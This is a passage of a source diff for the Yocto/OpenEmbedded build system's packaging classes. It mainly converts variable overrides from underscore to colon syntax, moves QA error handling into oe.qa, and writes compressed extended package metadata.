+p4://.*/.* ${SOURCE_MIRROR_URL} \
+osc://.*/.* ${SOURCE_MIRROR_URL} \
+https?://.*/.* ${SOURCE_MIRROR_URL} \
+ftp://.*/.* ${SOURCE_MIRROR_URL} \
+npm://.*/?.* ${SOURCE_MIRROR_URL} \
+s3://.*/.* ${SOURCE_MIRROR_URL} \
"
diff --git a/meta/classes/package.bbclass b/meta/classes/package.bbclass
index 247bdc7bbf..09cd376f4a 100644
--- a/meta/classes/package.bbclass
+++ b/meta/classes/package.bbclass
@@ -41,8 +41,6 @@
inherit packagedata
inherit chrpath
inherit package_pkgdata
-
-# Need the package_qa_handle_error() in insane.bbclass
inherit insane
PKGD = "${WORKDIR}/package"
@@ -199,7 +197,7 @@ def do_split_packages(d, root, file_regex, output_pattern, description, postinst
packages = [pkg] + packages
else:
packages.append(pkg)
- oldfiles = d.getVar('FILES_' + pkg)
+ oldfiles = d.getVar('FILES:' + pkg)
newfile = os.path.join(root, o)
# These names will be passed through glob() so if the filename actually
# contains * or ? (rare, but possible) we need to handle that specially
@@ -219,19 +217,19 @@ def do_split_packages(d, root, file_regex, output_pattern, description, postinst
the_files.append(fp % m.group(1))
else:
the_files.append(aux_files_pattern_verbatim % m.group(1))
- d.setVar('FILES_' + pkg, " ".join(the_files))
+ d.setVar('FILES:' + pkg, " ".join(the_files))
else:
- d.setVar('FILES_' + pkg, oldfiles + " " + newfile)
+ d.setVar('FILES:' + pkg, oldfiles + " " + newfile)
if extra_depends != '':
- d.appendVar('RDEPENDS_' + pkg, ' ' + extra_depends)
- if not d.getVar('DESCRIPTION_' + pkg):
- d.setVar('DESCRIPTION_' + pkg, description % on)
- if not d.getVar('SUMMARY_' + pkg):
- d.setVar('SUMMARY_' + pkg, summary % on)
+ d.appendVar('RDEPENDS:' + pkg, ' ' + extra_depends)
+ if not d.getVar('DESCRIPTION:' + pkg):
+ d.setVar('DESCRIPTION:' + pkg, description % on)
+ if not d.getVar('SUMMARY:' + pkg):
+ d.setVar('SUMMARY:' + pkg, summary % on)
if postinst:
- d.setVar('pkg_postinst_' + pkg, postinst)
+ d.setVar('pkg_postinst:' + pkg, postinst)
if postrm:
- d.setVar('pkg_postrm_' + pkg, postrm)
+ d.setVar('pkg_postrm:' + pkg, postrm)
if callable(hook):
hook(f, pkg, file_regex, output_pattern, m.group(1))
@@ -303,7 +301,7 @@ def get_conffiles(pkg, d):
cwd = os.getcwd()
os.chdir(root)
- conffiles = d.getVar('CONFFILES_%s' % pkg);
+ conffiles = d.getVar('CONFFILES:%s' % pkg);
if conffiles == None:
conffiles = d.getVar('CONFFILES')
if conffiles == None:
@@ -618,16 +616,18 @@ def get_package_mapping (pkg, basepkg, d, depversions=None):
import oe.packagedata
data = oe.packagedata.read_subpkgdata(pkg, d)
- key = "PKG_%s" % pkg
+ key = "PKG:%s" % pkg
if key in data:
+ if bb.data.inherits_class('allarch', d) and bb.data.inherits_class('packagegroup', d) and pkg != data[key]:
+ bb.error("An allarch packagegroup shouldn't depend on packages which are dynamically renamed (%s to %s)" % (pkg, data[key]))
# Have to avoid undoing the write_extra_pkgs(global_variants...)
if bb.data.inherits_class('allarch', d) and not d.getVar('MULTILIB_VARIANTS') \
and data[key] == basepkg:
return pkg
if depversions == []:
# Avoid returning a mapping if the renamed package rprovides its original name
- rprovkey = "RPROVIDES_%s" % pkg
+ rprovkey = "RPROVIDES:%s" % pkg
if rprovkey in data:
if pkg in bb.utils.explode_dep_versions2(data[rprovkey]):
bb.note("%s rprovides %s, not replacing the latter" % (data[key], pkg))
@@ -714,9 +714,7 @@ python package_get_auto_pr() {
return
try:
- conn = d.getVar("__PRSERV_CONN")
- if conn is None:
- conn = oe.prservice.prserv_make_conn(d)
+ conn = oe.prservice.prserv_make_conn(d)
if conn is not None:
if "AUTOINC" in pkgv:
srcpv = bb.fetch2.get_srcrev(d)
@@ -725,6 +723,7 @@ python package_get_auto_pr() {
d.setVar("PRSERV_PV_AUTOINC", str(value))
auto_pr = conn.getPR(version, pkgarch, checksum)
+ conn.close()
except Exception as e:
bb.fatal("Can NOT get PRAUTO, exception %s" % str(e))
if auto_pr is None:
@@ -784,13 +783,13 @@ python package_do_split_locales() {
ln = legitimize_package_name(l)
pkg = pn + '-locale-' + ln
packages.append(pkg)
- d.setVar('FILES_' + pkg, os.path.join(datadir, 'locale', l))
- d.setVar('RRECOMMENDS_' + pkg, '%svirtual-locale-%s' % (mlprefix, ln))
- d.setVar('RPROVIDES_' + pkg, '%s-locale %s%s-translation' % (pn, mlprefix, ln))
- d.setVar('SUMMARY_' + pkg, '%s - %s translations' % (summary, l))
- d.setVar('DESCRIPTION_' + pkg, '%s This package contains language translation files for the %s locale.' % (description, l))
+ d.setVar('FILES:' + pkg, os.path.join(datadir, 'locale', l))
+ d.setVar('RRECOMMENDS:' + pkg, '%svirtual-locale-%s' % (mlprefix, ln))
+ d.setVar('RPROVIDES:' + pkg, '%s-locale %s%s-translation' % (pn, mlprefix, ln))
+ d.setVar('SUMMARY:' + pkg, '%s - %s translations' % (summary, l))
+ d.setVar('DESCRIPTION:' + pkg, '%s This package contains language translation files for the %s locale.' % (description, l))
if locale_section:
- d.setVar('SECTION_' + pkg, locale_section)
+ d.setVar('SECTION:' + pkg, locale_section)
d.setVar('PACKAGES', ' '.join(packages))
@@ -800,17 +799,23 @@ python package_do_split_locales() {
# glibc-localedata-translit* won't install as a dependency
# for some other package which breaks meta-toolchain
# Probably breaks since virtual-locale- isn't provided anywhere
- #rdep = (d.getVar('RDEPENDS_%s' % pn) or "").split()
+ #rdep = (d.getVar('RDEPENDS:%s' % pn) or "").split()
#rdep.append('%s-locale*' % pn)
- #d.setVar('RDEPENDS_%s' % pn, ' '.join(rdep))
+ #d.setVar('RDEPENDS:%s' % pn, ' '.join(rdep))
}
python perform_packagecopy () {
import subprocess
+ import shutil
dest = d.getVar('D')
dvar = d.getVar('PKGD')
+ # Remove ${D}/sysroot-only if present
+ sysroot_only = os.path.join(dest, 'sysroot-only')
+ if cpath.exists(sysroot_only) and cpath.isdir(sysroot_only):
+ shutil.rmtree(sysroot_only)
+
# Start by package population by taking a copy of the installed
# files to operate on
# Preserve sparse files and hard links
@@ -860,7 +865,7 @@ python fixup_perms () {
self._setdir(lsplit[0], lsplit[1], lsplit[2], lsplit[3], lsplit[4], lsplit[5], lsplit[6], lsplit[7])
else:
msg = "Fixup Perms: invalid config line %s" % line
- package_qa_handle_error("perm-config", msg, d)
+ oe.qa.handle_error("perm-config", msg, d)
self.path = None
self.link = None
@@ -1000,7 +1005,7 @@ python fixup_perms () {
continue
if len(lsplit) != 8 and not (len(lsplit) == 3 and lsplit[1].lower() == "link"):
msg = "Fixup perms: %s invalid line: %s" % (conf, line)
- package_qa_handle_error("perm-line", msg, d)
+ oe.qa.handle_error("perm-line", msg, d)
continue
entry = fs_perms_entry(d.expand(line))
if entry and entry.path:
@@ -1037,13 +1042,13 @@ python fixup_perms () {
ptarget = os.path.join(os.path.dirname(dir), link)
if os.path.exists(target):
msg = "Fixup Perms: Unable to correct directory link, target already exists: %s -> %s" % (dir, ptarget)
- package_qa_handle_error("perm-link", msg, d)
+ oe.qa.handle_error("perm-link", msg, d)
continue
# Create path to move directory to, move it, and then setup the symlink
bb.utils.mkdirhier(os.path.dirname(target))
#bb.note("Fixup Perms: Rename %s -> %s" % (dir, ptarget))
- os.rename(origin, target)
+ bb.utils.rename(origin, target)
#bb.note("Fixup Perms: Link %s -> %s" % (dir, link))
os.symlink(link, origin)
@@ -1193,11 +1198,11 @@ python split_and_strip_files () {
# ...but is it ELF, and is it already stripped?
if elf_file & 1:
if elf_file & 2:
- if 'already-stripped' in (d.getVar('INSANE_SKIP_' + pn) or "").split():
+ if 'already-stripped' in (d.getVar('INSANE_SKIP:' + pn) or "").split():
bb.note("Skipping file %s from %s for already-stripped QA test" % (file[len(dvar):], pn))
else:
msg = "File '%s' from %s was already stripped, this will prevent future debugging!" % (file[len(dvar):], pn)
- package_qa_handle_error("already-stripped", msg, d)
+ oe.qa.handle_error("already-stripped", msg, d)
continue
# At this point we have an unstripped elf file. We need to:
@@ -1219,6 +1224,14 @@ python split_and_strip_files () {
# Modified the file so clear the cache
cpath.updatecache(file)
+ def strip_pkgd_prefix(f):
+ nonlocal dvar
+
+ if f.startswith(dvar):
+ return f[len(dvar):]
+
+ return f
+
#
# First lets process debug splitting
#
@@ -1232,6 +1245,8 @@ python split_and_strip_files () {
for file in staticlibs:
results.append( (file,source_info(file, d)) )
+ d.setVar("PKGDEBUGSOURCES", {strip_pkgd_prefix(f): sorted(s) for f, s in results})
+
sources = set()
for r in results:
sources.update(r[1])
@@ -1338,7 +1353,7 @@ python populate_packages () {
src_package_name = ('%s-src' % d.getVar('PN'))
if not src_package_name in packages:
packages.append(src_package_name)
- d.setVar('FILES_%s' % src_package_name, '/usr/src/debug')
+ d.setVar('FILES:%s' % src_package_name, '/usr/src/debug')
# Sanity check PACKAGES for duplicates
# Sanity should be moved to sanity.bbclass once we have the infrastructure
@@ -1347,7 +1362,7 @@ python populate_packages () {
for i, pkg in enumerate(packages):
if pkg in package_dict:
msg = "%s is listed in PACKAGES multiple times, this leads to packaging errors." % pkg
- package_qa_handle_error("packages-list", msg, d)
+ oe.qa.handle_error("packages-list", msg, d)
# Ensure the source package gets the chance to pick up the source files
# before the debug package by ordering it first in PACKAGES. Whether it
# actually picks up any source files is controlled by
@@ -1381,10 +1396,10 @@ python populate_packages () {
root = os.path.join(pkgdest, pkg)
bb.utils.mkdirhier(root)
- filesvar = d.getVar('FILES_%s' % pkg) or ""
+ filesvar = d.getVar('FILES:%s' % pkg) or ""
if "//" in filesvar:
msg = "FILES variable for package %s contains '//' which is invalid. Attempting to fix this but you should correct the metadata.\n" % pkg
- package_qa_handle_error("files-invalid", msg, d)
+ oe.qa.handle_error("files-invalid", msg, d)
filesvar.replace("//", "/")
origfiles = filesvar.split()
@@ -1453,7 +1468,7 @@ python populate_packages () {
licenses = d.getVar('LICENSE_EXCLUSION-' + pkg)
if licenses:
msg = "Excluding %s from packaging as it has incompatible license(s): %s" % (pkg, licenses)
- package_qa_handle_error("incompatible-license", msg, d)
+ oe.qa.handle_error("incompatible-license", msg, d)
else:
package_list.append(pkg)
d.setVar('PACKAGES', ' '.join(package_list))
@@ -1470,14 +1485,14 @@ python populate_packages () {
if unshipped != []:
msg = pn + ": Files/directories were installed but not shipped in any package:"
- if "installed-vs-shipped" in (d.getVar('INSANE_SKIP_' + pn) or "").split():
+ if "installed-vs-shipped" in (d.getVar('INSANE_SKIP:' + pn) or "").split():
bb.note("Package %s skipping QA tests: installed-vs-shipped" % pn)
else:
for f in unshipped:
msg = msg + "\n " + f
msg = msg + "\nPlease set FILES such that these items are packaged. Alternatively if they are unneeded, avoid installing them or delete them within do_install.\n"
msg = msg + "%s: %d installed and not shipped files." % (pn, len(unshipped))
- package_qa_handle_error("installed-vs-shipped", msg, d)
+ oe.qa.handle_error("installed-vs-shipped", msg, d)
}
populate_packages[dirs] = "${D}"
@@ -1518,11 +1533,11 @@ python package_fixsymlinks () {
bb.note("%s contains dangling symlink to %s" % (pkg, l))
for pkg in newrdepends:
- rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS_' + pkg) or "")
+ rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS:' + pkg) or "")
for p in newrdepends[pkg]:
if p not in rdepends:
rdepends[p] = []
- d.setVar('RDEPENDS_' + pkg, bb.utils.join_deps(rdepends, commasep=False))
+ d.setVar('RDEPENDS:' + pkg, bb.utils.join_deps(rdepends, commasep=False))
}
@@ -1544,9 +1559,10 @@ PKGDATA_VARS = "PN PE PV PR PKGE PKGV PKGR LICENSE DESCRIPTION SUMMARY RDEPENDS
python emit_pkgdata() {
from glob import glob
import json
+ import bb.compress.zstd
def process_postinst_on_target(pkg, mlprefix):
- pkgval = d.getVar('PKG_%s' % pkg)
+ pkgval = d.getVar('PKG:%s' % pkg)
if pkgval is None:
pkgval = pkg
@@ -1557,8 +1573,8 @@ if [ -n "$D" ]; then
fi
""" % (pkgval, mlprefix)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
- postinst_ontarget = d.getVar('pkg_postinst_ontarget_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
+ postinst_ontarget = d.getVar('pkg_postinst_ontarget:%s' % pkg)
if postinst_ontarget:
bb.debug(1, 'adding deferred pkg_postinst_ontarget() to pkg_postinst() for %s' % pkg)
@@ -1566,18 +1582,18 @@ fi
postinst = '#!/bin/sh\n'
postinst += defer_fragment
postinst += postinst_ontarget
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
def add_set_e_to_scriptlets(pkg):
for scriptlet_name in ('pkg_preinst', 'pkg_postinst', 'pkg_prerm', 'pkg_postrm'):
- scriptlet = d.getVar('%s_%s' % (scriptlet_name, pkg))
+ scriptlet = d.getVar('%s:%s' % (scriptlet_name, pkg))
if scriptlet:
scriptlet_split = scriptlet.split('\n')
if scriptlet_split[0].startswith("#!"):
scriptlet = scriptlet_split[0] + "\nset -e\n" + "\n".join(scriptlet_split[1:])
else:
scriptlet = "set -e\n" + "\n".join(scriptlet_split[0:])
- d.setVar('%s_%s' % (scriptlet_name, pkg), scriptlet)
+ d.setVar('%s:%s' % (scriptlet_name, pkg), scriptlet)
def write_if_exists(f, pkg, var):
def encode(str):
@@ -1585,9 +1601,9 @@ fi
c = codecs.getencoder("unicode_escape")
return c(str)[0].decode("latin1")
- val = d.getVar('%s_%s' % (var, pkg))
+ val = d.getVar('%s:%s' % (var, pkg))
if val:
- f.write('%s_%s: %s\n' % (var, pkg, encode(val)))
+ f.write('%s:%s: %s\n' % (var, pkg, encode(val)))
return val
val = d.getVar('%s' % (var))
if val:
@@ -1606,7 +1622,7 @@ fi
ml_pkg = "%s-%s" % (variant, pkg)
subdata_file = "%s/runtime/%s" % (pkgdatadir, ml_pkg)
with open(subdata_file, 'w') as fd:
- fd.write("PKG_%s: %s" % (ml_pkg, pkg))
+ fd.write("PKG:%s: %s" % (ml_pkg, pkg))
packages = d.getVar('PACKAGES')
pkgdest = d.getVar('PKGDEST')
@@ -1616,6 +1632,8 @@ fi
with open(data_file, 'w') as fd:
fd.write("PACKAGES: %s\n" % packages)
+ pkgdebugsource = d.getVar("PKGDEBUGSOURCES") or []
+
pn = d.getVar('PN')
global_variants = (d.getVar('MULTILIB_GLOBAL_VARIANTS') or "").split()
variants = (d.getVar('MULTILIB_VARIANTS') or "").split()
@@ -1630,23 +1648,38 @@ fi
workdir = d.getVar('WORKDIR')
for pkg in packages.split():
- pkgval = d.getVar('PKG_%s' % pkg)
+ pkgval = d.getVar('PKG:%s' % pkg)
if pkgval is None:
pkgval = pkg
- d.setVar('PKG_%s' % pkg, pkg)
+ d.setVar('PKG:%s' % pkg, pkg)
+
+ extended_data = {
+ "files_info": {}
+ }
pkgdestpkg = os.path.join(pkgdest, pkg)
files = {}
+ files_extra = {}
total_size = 0
seen = set()
for f in pkgfiles[pkg]:
- relpth = os.path.relpath(f, pkgdestpkg)
+ fpath = os.sep + os.path.relpath(f, pkgdestpkg)
+
fstat = os.lstat(f)
- files[os.sep + relpth] = fstat.st_size
+ files[fpath] = fstat.st_size
+
+ extended_data["files_info"].setdefault(fpath, {})
+ extended_data["files_info"][fpath]['size'] = fstat.st_size
+
if fstat.st_ino not in seen:
seen.add(fstat.st_ino)
total_size += fstat.st_size
- d.setVar('FILES_INFO', json.dumps(files, sort_keys=True))
+
+ if fpath in pkgdebugsource:
+ extended_data["files_info"][fpath]['debugsrc'] = pkgdebugsource[fpath]
+ del pkgdebugsource[fpath]
+
+ d.setVar('FILES_INFO:' + pkg , json.dumps(files, sort_keys=True))
process_postinst_on_target(pkg, d.getVar("MLPREFIX"))
add_set_e_to_scriptlets(pkg)
@@ -1657,24 +1690,29 @@ fi
val = write_if_exists(sf, pkg, var)
write_if_exists(sf, pkg, 'FILERPROVIDESFLIST')
- for dfile in (d.getVar('FILERPROVIDESFLIST_' + pkg) or "").split():
- write_if_exists(sf, pkg, 'FILERPROVIDES_' + dfile)
+ for dfile in sorted((d.getVar('FILERPROVIDESFLIST:' + pkg) or "").split()):
+ write_if_exists(sf, pkg, 'FILERPROVIDES:' + dfile)
write_if_exists(sf, pkg, 'FILERDEPENDSFLIST')
- for dfile in (d.getVar('FILERDEPENDSFLIST_' + pkg) or "").split():
- write_if_exists(sf, pkg, 'FILERDEPENDS_' + dfile)
+ for dfile in sorted((d.getVar('FILERDEPENDSFLIST:' + pkg) or "").split()):
+ write_if_exists(sf, pkg, 'FILERDEPENDS:' + dfile)
- sf.write('%s_%s: %d\n' % ('PKGSIZE', pkg, total_size))
+ sf.write('%s:%s: %d\n' % ('PKGSIZE', pkg, total_size))
+
+ subdata_extended_file = pkgdatadir + "/extended/%s.json.zstd" % pkg
+ num_threads = int(d.getVar("BB_NUMBER_THREADS"))
+ with bb.compress.zstd.open(subdata_extended_file, "wt", encoding="utf-8", num_threads=num_threads) as f:
+ json.dump(extended_data, f, sort_keys=True, separators=(",", ":"))
# Symlinks needed for rprovides lookup
- rprov = d.getVar('RPROVIDES_%s' % pkg) or d.getVar('RPROVIDES')
+ rprov = d.getVar('RPROVIDES:%s' % pkg) or d.getVar('RPROVIDES')
if rprov:
for p in bb.utils.explode_deps(rprov):
subdata_sym = pkgdatadir + "/runtime-rprovides/%s/%s" % (p, pkg)
bb.utils.mkdirhier(os.path.dirname(subdata_sym))
oe.path.symlink("../../runtime/%s" % pkg, subdata_sym, True)
- allow_empty = d.getVar('ALLOW_EMPTY_%s' % pkg)
+ allow_empty = d.getVar('ALLOW_EMPTY:%s' % pkg)
if not allow_empty:
allow_empty = d.getVar('ALLOW_EMPTY')
root = "%s/%s" % (pkgdest, pkg)
@@ -1696,7 +1734,8 @@ fi
write_extra_runtime_pkgs(global_variants, packages, pkgdatadir)
}
-emit_pkgdata[dirs] = "${PKGDESTWORK}/runtime ${PKGDESTWORK}/runtime-reverse ${PKGDESTWORK}/runtime-rprovides"
+emit_pkgdata[dirs] = "${PKGDESTWORK}/runtime ${PKGDESTWORK}/runtime-reverse ${PKGDESTWORK}/runtime-rprovides ${PKGDESTWORK}/extended"
+emit_pkgdata[vardepsexclude] = "BB_NUMBER_THREADS"
ldconfig_postinst_fragment() {
if [ x"$D" = "x" ]; then
@@ -1704,15 +1743,15 @@ if [ x"$D" = "x" ]; then
fi
}
-RPMDEPS = "${STAGING_LIBDIR_NATIVE}/rpm/rpmdeps --alldeps"
+RPMDEPS = "${STAGING_LIBDIR_NATIVE}/rpm/rpmdeps --alldeps --define '__font_provides %{nil}'"
# Collect perfile run-time dependency metadata
# Output:
-# FILERPROVIDESFLIST_pkg - list of all files w/ deps
-# FILERPROVIDES_filepath_pkg - per file dep
+# FILERPROVIDESFLIST:pkg - list of all files w/ deps
+# FILERPROVIDES:filepath:pkg - per file dep
#
-# FILERDEPENDSFLIST_pkg - list of all files w/ deps
-# FILERDEPENDS_filepath_pkg - per file dep
+# FILERDEPENDSFLIST:pkg - list of all files w/ deps
+# FILERDEPENDS:filepath:pkg - per file dep
python package_do_filedeps() {
if d.getVar('SKIP_FILEDEPS') == '1':
@@ -1727,7 +1766,7 @@ python package_do_filedeps() {
pkglist = []
for pkg in packages.split():
- if d.getVar('SKIP_FILEDEPS_' + pkg) == '1':
+ if d.getVar('SKIP_FILEDEPS:' + pkg) == '1':
continue
if pkg.endswith('-dbg') or pkg.endswith('-doc') or pkg.find('-locale-') != -1 or pkg.find('-localedata-') != -1 or pkg.find('-gconv-') != -1 or pkg.find('-charmap-') != -1 or pkg.startswith('kernel-module-') or pkg.endswith('-src'):
continue
@@ -1749,18 +1788,18 @@ python package_do_filedeps() {
for file in sorted(provides):
provides_files[pkg].append(file)
- key = "FILERPROVIDES_" + file + "_" + pkg
+ key = "FILERPROVIDES:" + file + ":" + pkg
d.appendVar(key, " " + " ".join(provides[file]))
for file in sorted(requires):
requires_files[pkg].append(file)
- key = "FILERDEPENDS_" + file + "_" + pkg
+ key = "FILERDEPENDS:" + file + ":" + pkg
d.appendVar(key, " " + " ".join(requires[file]))
for pkg in requires_files:
- d.setVar("FILERDEPENDSFLIST_" + pkg, " ".join(requires_files[pkg]))
+ d.setVar("FILERDEPENDSFLIST:" + pkg, " ".join(sorted(requires_files[pkg])))
for pkg in provides_files:
- d.setVar("FILERPROVIDESFLIST_" + pkg, " ".join(provides_files[pkg]))
+ d.setVar("FILERPROVIDESFLIST:" + pkg, " ".join(sorted(provides_files[pkg])))
}
SHLIBSDIRS = "${WORKDIR_PKGDATA}/${MLPREFIX}shlibs2"
@@ -1799,7 +1838,7 @@ python package_do_shlibs() {
ver = d.getVar('PKGV')
if not ver:
msg = "PKGV not defined"
- package_qa_handle_error("pkgv-undefined", msg, d)
+ oe.qa.handle_error("pkgv-undefined", msg, d)
return
pkgdest = d.getVar('PKGDEST')
@@ -1839,7 +1878,7 @@ python package_do_shlibs() {
sonames.add(prov)
if libdir_re.match(os.path.dirname(file)):
needs_ldconfig = True
- if snap_symlinks and (os.path.basename(file) != this_soname):
+ if needs_ldconfig and snap_symlinks and (os.path.basename(file) != this_soname):
renames.append((file, os.path.join(os.path.dirname(file), this_soname)))
return (needs_ldconfig, needed, sonames, renames)
@@ -1924,12 +1963,12 @@ python package_do_shlibs() {
shlib_provider = oe.package.read_shlib_providers(d)
for pkg in shlib_pkgs:
- private_libs = d.getVar('PRIVATE_LIBS_' + pkg) or d.getVar('PRIVATE_LIBS') or ""
+ private_libs = d.getVar('PRIVATE_LIBS:' + pkg) or d.getVar('PRIVATE_LIBS') or ""
private_libs = private_libs.split()
needs_ldconfig = False
bb.debug(2, "calculating shlib provides for %s" % pkg)
- pkgver = d.getVar('PKGV_' + pkg)
+ pkgver = d.getVar('PKGV:' + pkg)
if not pkgver:
pkgver = d.getVar('PV_' + pkg)
if not pkgver:
@@ -1961,7 +2000,7 @@ python package_do_shlibs() {
for (old, new) in renames:
bb.note("Renaming %s to %s" % (old, new))
- os.rename(old, new)
+ bb.utils.rename(old, new)
pkgfiles[pkg].remove(old)
shlibs_file = os.path.join(shlibswork_dir, pkg + ".list")
@@ -1979,11 +2018,11 @@ python package_do_shlibs() {
shlib_provider[s[0]][s[1]] = (pkg, pkgver)
if needs_ldconfig:
bb.debug(1, 'adding ldconfig call to postinst for %s' % pkg)
- postinst = d.getVar('pkg_postinst_%s' % pkg)
+ postinst = d.getVar('pkg_postinst:%s' % pkg)
if not postinst:
postinst = '#!/bin/sh\n'
postinst += d.getVar('ldconfig_postinst_fragment')
- d.setVar('pkg_postinst_%s' % pkg, postinst)
+ d.setVar('pkg_postinst:%s' % pkg, postinst)
bb.debug(1, 'LIBNAMES: pkg %s sonames %s' % (pkg, sonames))
assumed_libs = d.getVar('ASSUME_SHLIBS')
@@ -2005,7 +2044,7 @@ python package_do_shlibs() {
for pkg in shlib_pkgs:
bb.debug(2, "calculating shlib requirements for %s" % pkg)
- private_libs = d.getVar('PRIVATE_LIBS_' + pkg) or d.getVar('PRIVATE_LIBS') or ""
+ private_libs = d.getVar('PRIVATE_LIBS:' + pkg) or d.getVar('PRIVATE_LIBS') or ""
private_libs = private_libs.split()
deps = list()
@@ -2073,12 +2112,12 @@ python package_do_pkgconfig () {
for pkg in packages.split():
pkgconfig_provided[pkg] = []
pkgconfig_needed[pkg] = []
- for file in pkgfiles[pkg]:
+ for file in sorted(pkgfiles[pkg]):
m = pc_re.match(file)
if m:
pd = bb.data.init()
name = m.group(1)
- pkgconfig_provided[pkg].append(name)
+ pkgconfig_provided[pkg].append(os.path.basename(name))
if not os.access(file, os.R_OK):
continue
with open(file, 'r') as f:
@@ -2101,7 +2140,7 @@ python package_do_pkgconfig () {
pkgs_file = os.path.join(shlibswork_dir, pkg + ".pclist")
if pkgconfig_provided[pkg] != []:
with open(pkgs_file, 'w') as f:
- for p in pkgconfig_provided[pkg]:
+ for p in sorted(pkgconfig_provided[pkg]):
f.write('%s\n' % p)
# Go from least to most specific since the last one found wins
@@ -2159,7 +2198,7 @@ python read_shlibdeps () {
packages = d.getVar('PACKAGES').split()
for pkg in packages:
- rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS_' + pkg) or "")
+ rdepends = bb.utils.explode_dep_versions2(d.getVar('RDEPENDS:' + pkg) or "")
for dep in sorted(pkglibdeps[pkg]):
# Add the dep if it's not already there, or if no comparison is set
if dep not in rdepends:
@@ -2167,7 +2206,7 @@ python read_shlibdeps () {
for v in pkglibdeps[pkg][dep]:
if v not in rdepends[dep]:
rdepends[dep].append(v)
- d.setVar('RDEPENDS_' + pkg, bb.utils.join_deps(rdepends, commasep=False))
+ d.setVar('RDEPENDS:' + pkg, bb.utils.join_deps(rdepends, commasep=False))
}
python package_depchains() {
@@ -2191,7 +2230,7 @@ python package_depchains() {
def pkg_adddeprrecs(pkg, base, suffix, getname, depends, d):
#bb.note('depends for %s is %s' % (base, depends))
- rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS_' + pkg) or "")
+ rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS:' + pkg) or "")
for depend in sorted(depends):
if depend.find('-native') != -1 or depend.find('-cross') != -1 or depend.startswith('virtual/'):
@@ -2206,13 +2245,13 @@ python package_depchains() {
if pkgname not in rreclist and pkgname != pkg:
rreclist[pkgname] = []
- #bb.note('setting: RRECOMMENDS_%s=%s' % (pkg, ' '.join(rreclist)))
- d.setVar('RRECOMMENDS_%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
+ #bb.note('setting: RRECOMMENDS:%s=%s' % (pkg, ' '.join(rreclist)))
+ d.setVar('RRECOMMENDS:%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
def pkg_addrrecs(pkg, base, suffix, getname, rdepends, d):
#bb.note('rdepends for %s is %s' % (base, rdepends))
- rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS_' + pkg) or "")
+ rreclist = bb.utils.explode_dep_versions2(d.getVar('RRECOMMENDS:' + pkg) or "")
for depend in sorted(rdepends):
if depend.find('virtual-locale-') != -1:
@@ -2227,8 +2266,8 @@ python package_depchains() {
if pkgname not in rreclist and pkgname != pkg:
rreclist[pkgname] = []
- #bb.note('setting: RRECOMMENDS_%s=%s' % (pkg, ' '.join(rreclist)))
- d.setVar('RRECOMMENDS_%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
+ #bb.note('setting: RRECOMMENDS:%s=%s' % (pkg, ' '.join(rreclist)))
+ d.setVar('RRECOMMENDS:%s' % pkg, bb.utils.join_deps(rreclist, commasep=False))
def add_dep(list, dep):
if dep not in list:
@@ -2240,7 +2279,7 @@ python package_depchains() {
rdepends = []
for pkg in packages.split():
- for dep in bb.utils.explode_deps(d.getVar('RDEPENDS_' + pkg) or ""):
+ for dep in bb.utils.explode_deps(d.getVar('RDEPENDS:' + pkg) or ""):
add_dep(rdepends, dep)
#bb.note('rdepends is %s' % rdepends)
@@ -2274,7 +2313,7 @@ python package_depchains() {
for suffix in pkgs:
for pkg in pkgs[suffix]:
- if d.getVarFlag('RRECOMMENDS_' + pkg, 'nodeprrecs'):
+ if d.getVarFlag('RRECOMMENDS:' + pkg, 'nodeprrecs'):
continue
(base, func) = pkgs[suffix][pkg]
if suffix == "-dev":
@@ -2287,7 +2326,7 @@ python package_depchains() {
pkg_addrrecs(pkg, base, suffix, func, rdepends, d)
else:
rdeps = []
- for dep in bb.utils.explode_deps(d.getVar('RDEPENDS_' + base) or ""):
+ for dep in bb.utils.explode_deps(d.getVar('RDEPENDS:' + base) or ""):
add_dep(rdeps, dep)
pkg_addrrecs(pkg, base, suffix, func, rdeps, d)
}
@@ -2304,7 +2343,7 @@ def gen_packagevar(d, pkgvars="PACKAGEVARS"):
ret.append(v)
for p in pkgs:
for v in vars:
- ret.append(v + "_" + p)
+ ret.append(v + ":" + p)
# Ensure that changes to INCOMPATIBLE_LICENSE re-run do_package for
# affected recipes.
@@ -2363,7 +2402,7 @@ python do_package () {
if not workdir or not outdir or not dest or not dvar or not pn:
msg = "WORKDIR, DEPLOY_DIR, D, PN and PKGD all must be defined, unable to package"
- package_qa_handle_error("var-undefined", msg, d)
+ oe.qa.handle_error("var-undefined", msg, d)
return
bb.build.exec_func("package_convert_pr_autoinc", d)
@@ -2416,9 +2455,7 @@ python do_package () {
for f in (d.getVar('PACKAGEFUNCS') or '').split():
bb.build.exec_func(f, d)
- qa_sane = d.getVar("QA_SANE")
- if not qa_sane:
- bb.fatal("Fatal QA errors found, failing task.")
+ oe.qa.exit_if_errors(d)
}
do_package[dirs] = "${SHLIBSWORKDIR} ${PKGDESTWORK} ${D}"
@@ -2446,6 +2483,7 @@ python do_packagedata () {
bb.build.exec_func("packagedata_translate_pr_autoinc", d)
}
+do_packagedata[cleandirs] += "${WORKDIR}/pkgdata-pdata-input"
# Translate the EXTENDPRAUTO and AUTOINC to the final values
packagedata_translate_pr_autoinc() {
diff --git a/meta/classes/package_deb.bbclass b/meta/classes/package_deb.bbclass
index cb723fc1d6..1ae6393d37 100644
--- a/meta/classes/package_deb.bbclass
+++ b/meta/classes/package_deb.bbclass
@@ -81,7 +81,7 @@ def deb_write_pkg(pkg, d):
localdata.setVar('ROOT', '')
localdata.setVar('ROOT_%s' % pkg, root)
- pkgname = localdata.getVar('PKG_%s' % pkg)
+ pkgname = localdata.getVar('PKG:%s' % pkg)
if not pkgname:
pkgname = pkg
localdata.setVar('PKG', pkgname)
@@ -314,12 +314,8 @@ python do_package_write_deb () {
}
do_package_write_deb[dirs] = "${PKGWRITEDIRDEB}"
